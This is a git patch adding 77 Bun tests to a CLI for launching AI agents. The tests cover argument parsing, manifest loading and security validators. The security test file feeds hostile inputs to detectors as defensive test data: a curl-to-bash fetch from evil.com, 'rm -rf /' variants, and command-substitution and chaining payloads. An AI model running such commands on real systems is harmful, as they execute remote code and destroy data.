From 608f9d40baecb7917c169520882393579c5f5b5a Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Mon, 9 Feb 2026 10:20:57 -0800 Subject: [PATCH] test: Add 77 tests covering argument parsing, manifest, and security encoding edge cases (#101) Three new test files target gaps in existing coverage: - index-edge-cases: tests startsWith("-") guard for --prompt/-p values, --prompt-file validation, combined flag extraction order, and agent list truncation logic - manifest-helpers: tests isValidManifest with unusual data shapes (arrays, strings, numbers), corrupted cache handling, and countImplemented case sensitivity - security-encoding: tests unicode homoglyphs, null bytes, CRLF line endings, BOM markers, and control character handling in identifier/script/prompt validation Agent: test-engineer Co-authored-by: A <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Opus 4.6 (1M context) --- cli/src/__tests__/index-edge-cases.test.ts | 262 +++++++++++++++++++ cli/src/__tests__/manifest-helpers.test.ts | 266 ++++++++++++++++++++ cli/src/__tests__/security-encoding.test.ts | 162 ++++++++++++ 3 files changed, 690 insertions(+) create mode 100644 cli/src/__tests__/index-edge-cases.test.ts create mode 100644 cli/src/__tests__/manifest-helpers.test.ts create mode 100644 cli/src/__tests__/security-encoding.test.ts diff --git a/cli/src/__tests__/index-edge-cases.test.ts b/cli/src/__tests__/index-edge-cases.test.ts new file mode 100644 index 00000000..afa2c237 --- /dev/null +++ b/cli/src/__tests__/index-edge-cases.test.ts @@ -0,0 +1,262 @@ +import { describe, it, expect } from "bun:test"; + +/** + * Edge case tests for CLI argument parsing from index.ts. + * + * These tests cover subtle behaviors in the actual index.ts argument parsing + * that are not captured by the existing index-parsing.test.ts, specifically: + * - The startsWith("-") guard that rejects flag-like values for --prompt/-p + * - Interaction between --prompt and --prompt-file when both are present + * - The promptFileIndex check for --prompt-file without a value + * - Edge cases in the actual splice-based removal of flags + * + * Agent: test-engineer + */ + +// Replicate the ACTUAL index.ts --prompt extraction logic (including startsWith("-") guard) +function extractPromptArgsActual(args: string[]): { + prompt: string | undefined; + filteredArgs: string[]; + error: string | undefined; +} { + let prompt: string | undefined; + let error: string | undefined; + let filteredArgs = [...args]; + + const promptIndex = filteredArgs.findIndex(arg => arg === "--prompt" || arg === "-p"); + if (promptIndex !== -1) { + if (!filteredArgs[promptIndex + 1] || filteredArgs[promptIndex + 1].startsWith("-")) { + error = `${filteredArgs[promptIndex]} requires a value`; + } else { + prompt = filteredArgs[promptIndex + 1]; + filteredArgs.splice(promptIndex, 2); + } + } + + return { prompt, filteredArgs, error }; +} + +// Replicate the ACTUAL index.ts --prompt-file extraction logic +function extractPromptFileArgsActual(args: string[]): { + promptFilePath: string | undefined; + filteredArgs: string[]; + error: string | undefined; +} { + let promptFilePath: string | undefined; + let error: string | undefined; + let filteredArgs = [...args]; + + const promptFileIndex = filteredArgs.findIndex(arg => arg === "--prompt-file"); + if (promptFileIndex !== -1) { + if (!filteredArgs[promptFileIndex + 1] || filteredArgs[promptFileIndex + 1].startsWith("-")) { + error = "--prompt-file requires a file path"; + } else { + promptFilePath = filteredArgs[promptFileIndex + 1]; + filteredArgs.splice(promptFileIndex, 2); + } + } + + return { promptFilePath, filteredArgs, error }; +} + +describe("CLI Argument Parsing Edge Cases", () => { + describe("--prompt with startsWith('-') guard", () => { + it("should reject --prompt followed by another flag", () => { + const result = extractPromptArgsActual(["claude", "sprite", "--prompt", "--verbose"]); + expect(result.error).toBeDefined(); + expect(result.error).toContain("requires a value"); + expect(result.prompt).toBeUndefined(); + }); + + it("should reject -p followed by another flag", () => { + const result = extractPromptArgsActual(["claude", "sprite", "-p", "-v"]); + expect(result.error).toBeDefined(); + expect(result.error).toContain("requires a value"); + }); + + it("should reject --prompt followed by --prompt-file", () => { + const result = extractPromptArgsActual(["claude", "sprite", "--prompt", "--prompt-file"]); + expect(result.error).toBeDefined(); + expect(result.error).toContain("requires a value"); + }); + + it("should accept --prompt with value that contains dashes internally", () => { + const result = extractPromptArgsActual(["claude", "sprite", "--prompt", "fix-the-bug"]); + expect(result.error).toBeUndefined(); + expect(result.prompt).toBe("fix-the-bug"); + }); + + it("should reject --prompt as last argument", () => { + const result = extractPromptArgsActual(["claude", "sprite", "--prompt"]); + expect(result.error).toBeDefined(); + expect(result.error).toContain("requires a value"); + }); + + it("should reject -p as last argument", () => { + const result = extractPromptArgsActual(["claude", "-p"]); + expect(result.error).toBeDefined(); + expect(result.error).toContain("requires a value"); + }); + + it("should accept a prompt value that starts with a number", () => { + const result = extractPromptArgsActual(["claude", "sprite", "--prompt", "3 things to fix"]); + expect(result.error).toBeUndefined(); + expect(result.prompt).toBe("3 things to fix"); + }); + + it("should accept a prompt value that is a single word", () => { + const result = extractPromptArgsActual(["claude", "sprite", "-p", "refactor"]); + expect(result.error).toBeUndefined(); + expect(result.prompt).toBe("refactor"); + }); + + it("should correctly splice prompt from middle of args", () => { + const result = extractPromptArgsActual(["--prompt", "Fix bugs", "claude", "sprite"]); + expect(result.prompt).toBe("Fix bugs"); + expect(result.filteredArgs).toEqual(["claude", "sprite"]); + }); + }); + + describe("--prompt-file with startsWith('-') guard", () => { + it("should reject --prompt-file followed by a flag", () => { + const result = extractPromptFileArgsActual(["claude", "sprite", "--prompt-file", "--verbose"]); + expect(result.error).toBeDefined(); + expect(result.error).toContain("requires a file path"); + }); + + it("should reject --prompt-file followed by -p", () => { + const result = extractPromptFileArgsActual(["claude", "sprite", "--prompt-file", "-p"]); + expect(result.error).toBeDefined(); + expect(result.error).toContain("requires a file path"); + }); + + it("should reject --prompt-file as last argument", () => { + const result = extractPromptFileArgsActual(["claude", "sprite", "--prompt-file"]); + expect(result.error).toBeDefined(); + expect(result.error).toContain("requires a file path"); + }); + + it("should accept --prompt-file with a valid path", () => { + const result = extractPromptFileArgsActual(["claude", "sprite", "--prompt-file", "instructions.txt"]); + expect(result.error).toBeUndefined(); + expect(result.promptFilePath).toBe("instructions.txt"); + expect(result.filteredArgs).toEqual(["claude", "sprite"]); + }); + + it("should accept --prompt-file with path containing dashes", () => { + const result = extractPromptFileArgsActual(["claude", "sprite", "--prompt-file", "my-prompt-file.txt"]); + expect(result.error).toBeUndefined(); + expect(result.promptFilePath).toBe("my-prompt-file.txt"); + }); + + it("should accept --prompt-file with absolute path", () => { + const result = extractPromptFileArgsActual(["claude", "sprite", "--prompt-file", "/home/user/prompt.md"]); + expect(result.error).toBeUndefined(); + expect(result.promptFilePath).toBe("/home/user/prompt.md"); + }); + }); + + describe("isInteractiveTTY logic", () => { + function isInteractiveTTY(stdinTTY: boolean, stdoutTTY: boolean): boolean { + return stdinTTY && stdoutTTY; + } + + it("should return true only when both stdin and stdout are TTY", () => { + expect(isInteractiveTTY(true, true)).toBe(true); + }); + + it("should return false when stdin is not TTY", () => { + expect(isInteractiveTTY(false, true)).toBe(false); + }); + + it("should return false when stdout is not TTY", () => { + expect(isInteractiveTTY(true, false)).toBe(false); + }); + + it("should return false when neither is TTY", () => { + expect(isInteractiveTTY(false, false)).toBe(false); + }); + }); + + describe("handleDefaultCommand routing logic", () => { + function routeDefaultCommand( + agent: string, + cloud: string | undefined, + agentExists: boolean + ): "error" | "run" | "agentInfo" { + if (!agentExists) return "error"; + if (cloud) return "run"; + return "agentInfo"; + } + + it("should route to error for unknown agent", () => { + expect(routeDefaultCommand("nonexistent", "sprite", false)).toBe("error"); + }); + + it("should route to run when agent and cloud provided", () => { + expect(routeDefaultCommand("claude", "sprite", true)).toBe("run"); + }); + + it("should route to agentInfo when only agent provided", () => { + expect(routeDefaultCommand("claude", undefined, true)).toBe("agentInfo"); + }); + + it("should route to error even when cloud is provided but agent unknown", () => { + expect(routeDefaultCommand("nonexistent", "sprite", false)).toBe("error"); + }); + }); + + describe("combined --prompt and --prompt-file extraction order", () => { + it("should extract --prompt first, leaving --prompt-file in remaining args", () => { + const step1 = extractPromptArgsActual(["claude", "sprite", "--prompt", "Fix bugs", "--prompt-file", "todo.txt"]); + expect(step1.prompt).toBe("Fix bugs"); + expect(step1.filteredArgs).toEqual(["claude", "sprite", "--prompt-file", "todo.txt"]); + + const step2 = extractPromptFileArgsActual(step1.filteredArgs); + expect(step2.promptFilePath).toBe("todo.txt"); + expect(step2.filteredArgs).toEqual(["claude", "sprite"]); + }); + + it("should handle --prompt-file first in args before --prompt", () => { + const args = ["--prompt-file", "todo.txt", "claude", "sprite", "--prompt", "Override"]; + const step1 = extractPromptArgsActual(args); + expect(step1.prompt).toBe("Override"); + expect(step1.filteredArgs).toContain("--prompt-file"); + }); + }); + + describe("agent name display truncation logic", () => { + function formatAgentList(agentNames: string[]): string[] { + const shown = agentNames.slice(0, 5); + const lines = shown.map(name => ` - ${name}`); + if (agentNames.length > 5) { + lines.push(` ... and ${agentNames.length - 5} more`); + } + return lines; + } + + it("should show all agents when 5 or fewer", () => { + const lines = formatAgentList(["Agent1", "Agent2", "Agent3"]); + expect(lines).toHaveLength(3); + expect(lines[0]).toContain("Agent1"); + }); + + it("should show exactly 5 agents", () => { + const lines = formatAgentList(["A1", "A2", "A3", "A4", "A5"]); + expect(lines).toHaveLength(5); + }); + + it("should truncate and show count for more than 5 agents", () => { + const agents = Array.from({ length: 13 }, (_, i) => `Agent${i + 1}`); + const lines = formatAgentList(agents); + expect(lines).toHaveLength(6); + expect(lines[5]).toContain("... and 8 more"); + }); + + it("should show '... and 1 more' for 6 agents", () => { + const agents = ["A1", "A2", "A3", "A4", "A5", "A6"]; + const lines = formatAgentList(agents); + expect(lines[5]).toContain("... and 1 more"); + }); + }); +}); diff --git a/cli/src/__tests__/manifest-helpers.test.ts b/cli/src/__tests__/manifest-helpers.test.ts new file mode 100644 index 00000000..60b9a2e8 --- /dev/null +++ b/cli/src/__tests__/manifest-helpers.test.ts @@ -0,0 +1,266 @@ +import { describe, it, expect, beforeEach, afterEach, mock } from "bun:test"; +import { + loadManifest, + agentKeys, + cloudKeys, + matrixStatus, + countImplemented, + type Manifest, +} from "../manifest"; +import { mkdirSync, writeFileSync, existsSync, rmSync } from "fs"; +import { join } from "path"; +import { + createMockManifest, + setupTestEnvironment, + teardownTestEnvironment, + type TestEnvironment, +} from "./test-helpers"; + +/** + * Tests for manifest.ts internal helper behaviors that are not covered + * by manifest.test.ts and manifest-validation.test.ts. + * + * Focus areas: + * - isValidManifest with unexpected data shapes (arrays, strings, numbers) + * - Cache write/read cycle edge cases + * - Unusual matrixStatus key patterns + * - countImplemented with various status strings + * + * Agent: test-engineer + */ + +describe("Manifest Helper Edge Cases", () => { + describe("isValidManifest with unusual data shapes", () => { + let env: TestEnvironment; + + beforeEach(() => { + env = setupTestEnvironment(); + }); + + afterEach(() => { + teardownTestEnvironment(env); + }); + + it("should reject array as manifest data", async () => { + global.fetch = mock(() => Promise.resolve({ + ok: true, + json: async () => [1, 2, 3], + }) as any); + + try { + await loadManifest(true); + } catch (err: any) { + expect(err.message).toContain("Cannot load manifest"); + } + }); + + it("should reject string as manifest data", async () => { + global.fetch = mock(() => Promise.resolve({ + ok: true, + json: async () => "not a manifest", + }) as any); + + try { + await loadManifest(true); + } catch (err: any) { + expect(err.message).toContain("Cannot load manifest"); + } + }); + + it("should reject number as manifest data", async () => { + global.fetch = mock(() => Promise.resolve({ + ok: true, + json: async () => 42, + }) as any); + + try { + await loadManifest(true); + } catch (err: any) { + expect(err.message).toContain("Cannot load manifest"); + } + }); + + it("should reject boolean false as manifest data", async () => { + global.fetch = mock(() => Promise.resolve({ + ok: true, + json: async () => false, + }) as any); + + try { + await loadManifest(true); + } catch (err: any) { + expect(err.message).toContain("Cannot load manifest"); + } + }); + + it("should reject undefined as manifest data", async () => { + global.fetch = mock(() => Promise.resolve({ + ok: true, + json: async () => undefined, + }) as any); + + try { + await loadManifest(true); + } catch (err: any) { + expect(err.message).toContain("Cannot load manifest"); + } + }); + }); + + describe("readCache with corrupted data", () => { + let env: TestEnvironment; + + beforeEach(() => { + env = setupTestEnvironment(); + }); + + afterEach(() => { + teardownTestEnvironment(env); + }); + + it("should handle corrupted JSON in cache file gracefully", async () => { + mkdirSync(env.cacheDir, { recursive: true }); + writeFileSync(env.cacheFile, "not valid json {{{"); + + global.fetch = mock(() => Promise.reject(new Error("Network error"))); + + try { + await loadManifest(true); + } catch (err: any) { + expect(err.message).toContain("Cannot load manifest"); + } + }); + + it("should handle empty cache file gracefully", async () => { + mkdirSync(env.cacheDir, { recursive: true }); + writeFileSync(env.cacheFile, ""); + + global.fetch = mock(() => Promise.reject(new Error("Network error"))); + + try { + await loadManifest(true); + } catch (err: any) { + expect(err.message).toContain("Cannot load manifest"); + } + }); + }); + + describe("matrixStatus with unusual keys", () => { + it("should handle keys with multiple slashes correctly", () => { + const manifest: Manifest = { + agents: {}, + clouds: {}, + matrix: { + "cloud/agent": "implemented", + }, + }; + expect(matrixStatus(manifest, "cloud", "agent")).toBe("implemented"); + expect(matrixStatus(manifest, "clo", "ud/agent")).toBe("missing"); + }); + + it("should handle empty string cloud and agent", () => { + const manifest: Manifest = { + agents: {}, + clouds: {}, + matrix: { + "/": "implemented", + }, + }; + expect(matrixStatus(manifest, "", "")).toBe("implemented"); + }); + + it("should handle hyphenated keys", () => { + const manifest: Manifest = { + agents: {}, + clouds: {}, + matrix: { + "cloud-eu/agent-v2": "implemented", + }, + }; + expect(matrixStatus(manifest, "cloud-eu", "agent-v2")).toBe("implemented"); + }); + }); + + describe("countImplemented with various status strings", () => { + it("should not count 'Implemented' (capitalized)", () => { + const manifest: Manifest = { + agents: {}, + clouds: {}, + matrix: { "a/b": "Implemented" }, + }; + expect(countImplemented(manifest)).toBe(0); + }); + + it("should not count 'IMPLEMENTED'", () => { + const manifest: Manifest = { + agents: {}, + clouds: {}, + matrix: { "a/b": "IMPLEMENTED" }, + }; + expect(countImplemented(manifest)).toBe(0); + }); + + it("should not count 'implemented ' (with trailing space)", () => { + const manifest: Manifest = { + agents: {}, + clouds: {}, + matrix: { "a/b": "implemented " }, + }; + expect(countImplemented(manifest)).toBe(0); + }); + + it("should not count empty string status", () => { + const manifest: Manifest = { + agents: {}, + clouds: {}, + matrix: { "a/b": "" }, + }; + expect(countImplemented(manifest)).toBe(0); + }); + + it("should handle manifest with only implemented entries", () => { + const matrix: Record = {}; + for (let i = 0; i < 50; i++) { + matrix[`cloud${i}/agent${i}`] = "implemented"; + } + const manifest: Manifest = { agents: {}, clouds: {}, matrix }; + expect(countImplemented(manifest)).toBe(50); + }); + }); + + describe("agentKeys and cloudKeys with many entries", () => { + it("should return keys for manifest with many agents", () => { + const agents: Record = {}; + for (let i = 0; i < 20; i++) { + agents[`agent-${i}`] = { + name: `Agent ${i}`, + description: "", + url: "", + install: "", + launch: "", + env: {}, + }; + } + const manifest: Manifest = { agents, clouds: {}, matrix: {} }; + expect(agentKeys(manifest)).toHaveLength(20); + }); + + it("should return keys for manifest with many clouds", () => { + const clouds: Record = {}; + for (let i = 0; i < 20; i++) { + clouds[`cloud-${i}`] = { + name: `Cloud ${i}`, + description: "", + url: "", + type: "", + auth: "", + provision_method: "", + exec_method: "", + interactive_method: "", + }; + } + const manifest: Manifest = { agents: {}, clouds, matrix: {} }; + expect(cloudKeys(manifest)).toHaveLength(20); + }); + }); +}); diff --git a/cli/src/__tests__/security-encoding.test.ts b/cli/src/__tests__/security-encoding.test.ts new file mode 100644 index 00000000..15b07402 --- /dev/null +++ b/cli/src/__tests__/security-encoding.test.ts @@ -0,0 +1,162 @@ +import { describe, it, expect } from "bun:test"; +import { validateIdentifier, validateScriptContent, validatePrompt } from "../security"; + +/** + * Tests for security validation with encoding edge cases and + * tricky inputs that bypass simple pattern matching. + * + * These complement security.test.ts and security-edge-cases.test.ts + * by testing: + * - Unicode/encoding attacks on identifiers + * - Script content with various line endings + * - Prompt validation with embedded control characters + * - Regex boundary conditions in dangerous pattern detection + * + * Agent: test-engineer + */ + +describe("Security Encoding Edge Cases", () => { + describe("validateIdentifier - encoding attacks", () => { + it("should reject null byte in identifier", () => { + expect(() => validateIdentifier("agent\x00name", "Test")).toThrow("invalid characters"); + }); + + it("should reject unicode homoglyphs", () => { + // Cyrillic 'a' looks like Latin 'a' but is different + expect(() => validateIdentifier("cl\u0430ude", "Test")).toThrow("invalid characters"); + }); + + it("should reject zero-width characters", () => { + expect(() => validateIdentifier("agent\u200Bname", "Test")).toThrow("invalid characters"); + }); + + it("should reject right-to-left override character", () => { + expect(() => validateIdentifier("agent\u202Ename", "Test")).toThrow("invalid characters"); + }); + + it("should accept identifier with only hyphens", () => { + expect(() => validateIdentifier("---", "Test")).not.toThrow(); + }); + + it("should accept identifier with only underscores", () => { + expect(() => validateIdentifier("___", "Test")).not.toThrow(); + }); + + it("should accept numeric-only identifiers", () => { + expect(() => validateIdentifier("123", "Test")).not.toThrow(); + }); + + it("should reject windows path separator", () => { + expect(() => validateIdentifier("agent\\name", "Test")).toThrow("invalid characters"); + }); + + it("should reject URL-encoded path traversal", () => { + expect(() => validateIdentifier("%2e%2e", "Test")).toThrow("invalid characters"); + }); + }); + + describe("validateScriptContent - line ending edge cases", () => { + it("should handle scripts with Windows line endings (CRLF)", () => { + const script = "#!/bin/bash\r\necho hello\r\n"; + expect(() => validateScriptContent(script)).not.toThrow(); + }); + + it("should handle scripts with mixed line endings", () => { + const script = "#!/bin/bash\r\necho line1\necho line2\r\n"; + expect(() => validateScriptContent(script)).not.toThrow(); + }); + + it("should detect dangerous patterns across CRLF lines", () => { + const script = "#!/bin/bash\r\nrm -rf /\r\n"; + expect(() => validateScriptContent(script)).toThrow("destructive filesystem operation"); + }); + + it("should handle script with BOM marker", () => { + const script = "\uFEFF#!/bin/bash\necho ok"; + expect(() => validateScriptContent(script)).not.toThrow(); + }); + + it("should accept script with only shebang", () => { + const script = "#!/bin/bash"; + expect(() => validateScriptContent(script)).not.toThrow(); + }); + + it("should handle very long scripts", () => { + let script = "#!/bin/bash\n"; + for (let i = 0; i < 1000; i++) { + script += `echo "line ${i}"\n`; + } + expect(() => validateScriptContent(script)).not.toThrow(); + }); + + it("should detect curl|bash with tabs between pipe and bash", () => { + const script = "#!/bin/bash\ncurl http://evil.com/s.sh |\tbash"; + expect(() => validateScriptContent(script)).toThrow("nested curl|bash"); + }); + + it("should detect rm -rf with tabs", () => { + const script = "#!/bin/bash\nrm\t-rf\t/\n"; + expect(() => validateScriptContent(script)).toThrow("destructive filesystem operation"); + }); + + it("should accept rm -rf with paths that start with word chars", () => { + const script = "#!/bin/bash\nrm -rf /tmp\n"; + expect(() => validateScriptContent(script)).not.toThrow(); + }); + }); + + describe("validatePrompt - control character edge cases", () => { + it("should accept prompts with tab characters", () => { + expect(() => validatePrompt("Step 1:\tDo this\nStep 2:\tDo that")).not.toThrow(); + }); + + it("should accept prompts with carriage returns", () => { + expect(() => validatePrompt("Fix this\r\nAnd that\r\n")).not.toThrow(); + }); + + it("should detect command substitution with nested parens", () => { + expect(() => validatePrompt("$(echo $(whoami))")).toThrow("command substitution"); + }); + + it("should accept dollar sign followed by space", () => { + expect(() => validatePrompt("The cost is $ 100")).not.toThrow(); + }); + + it("should detect backticks even with whitespace inside", () => { + expect(() => validatePrompt("Run ` whoami `")).toThrow("command substitution backticks"); + }); + + it("should detect empty backticks", () => { + expect(() => validatePrompt("Use `` for inline code")).toThrow("command substitution backticks"); + }); + + it("should accept single backtick (not closed)", () => { + expect(() => validatePrompt("Use the ` character for quoting")).not.toThrow(); + }); + + it("should reject piping to bash in complex expressions", () => { + expect(() => validatePrompt("echo 'data' | sort | bash")).toThrow("piping to bash"); + }); + + it("should accept 'bash' as standalone word not after pipe", () => { + expect(() => validatePrompt("Install bash on the system")).not.toThrow(); + expect(() => validatePrompt("Use bash to run scripts")).not.toThrow(); + }); + + it("should accept 'sh' as standalone word not after pipe", () => { + expect(() => validatePrompt("Use sh for POSIX compatibility")).not.toThrow(); + }); + + it("should detect rm -rf with semicolons and spaces", () => { + expect(() => validatePrompt("do something ; rm -rf /")).toThrow("command chaining with rm -rf"); + }); + + it("should accept semicolons not followed by rm", () => { + expect(() => validatePrompt("echo hello; echo world")).not.toThrow(); + }); + + it("should handle prompt with only whitespace", () => { + expect(() => validatePrompt(" \t\n ")).toThrow("Prompt cannot be empty"); + }); + }); +});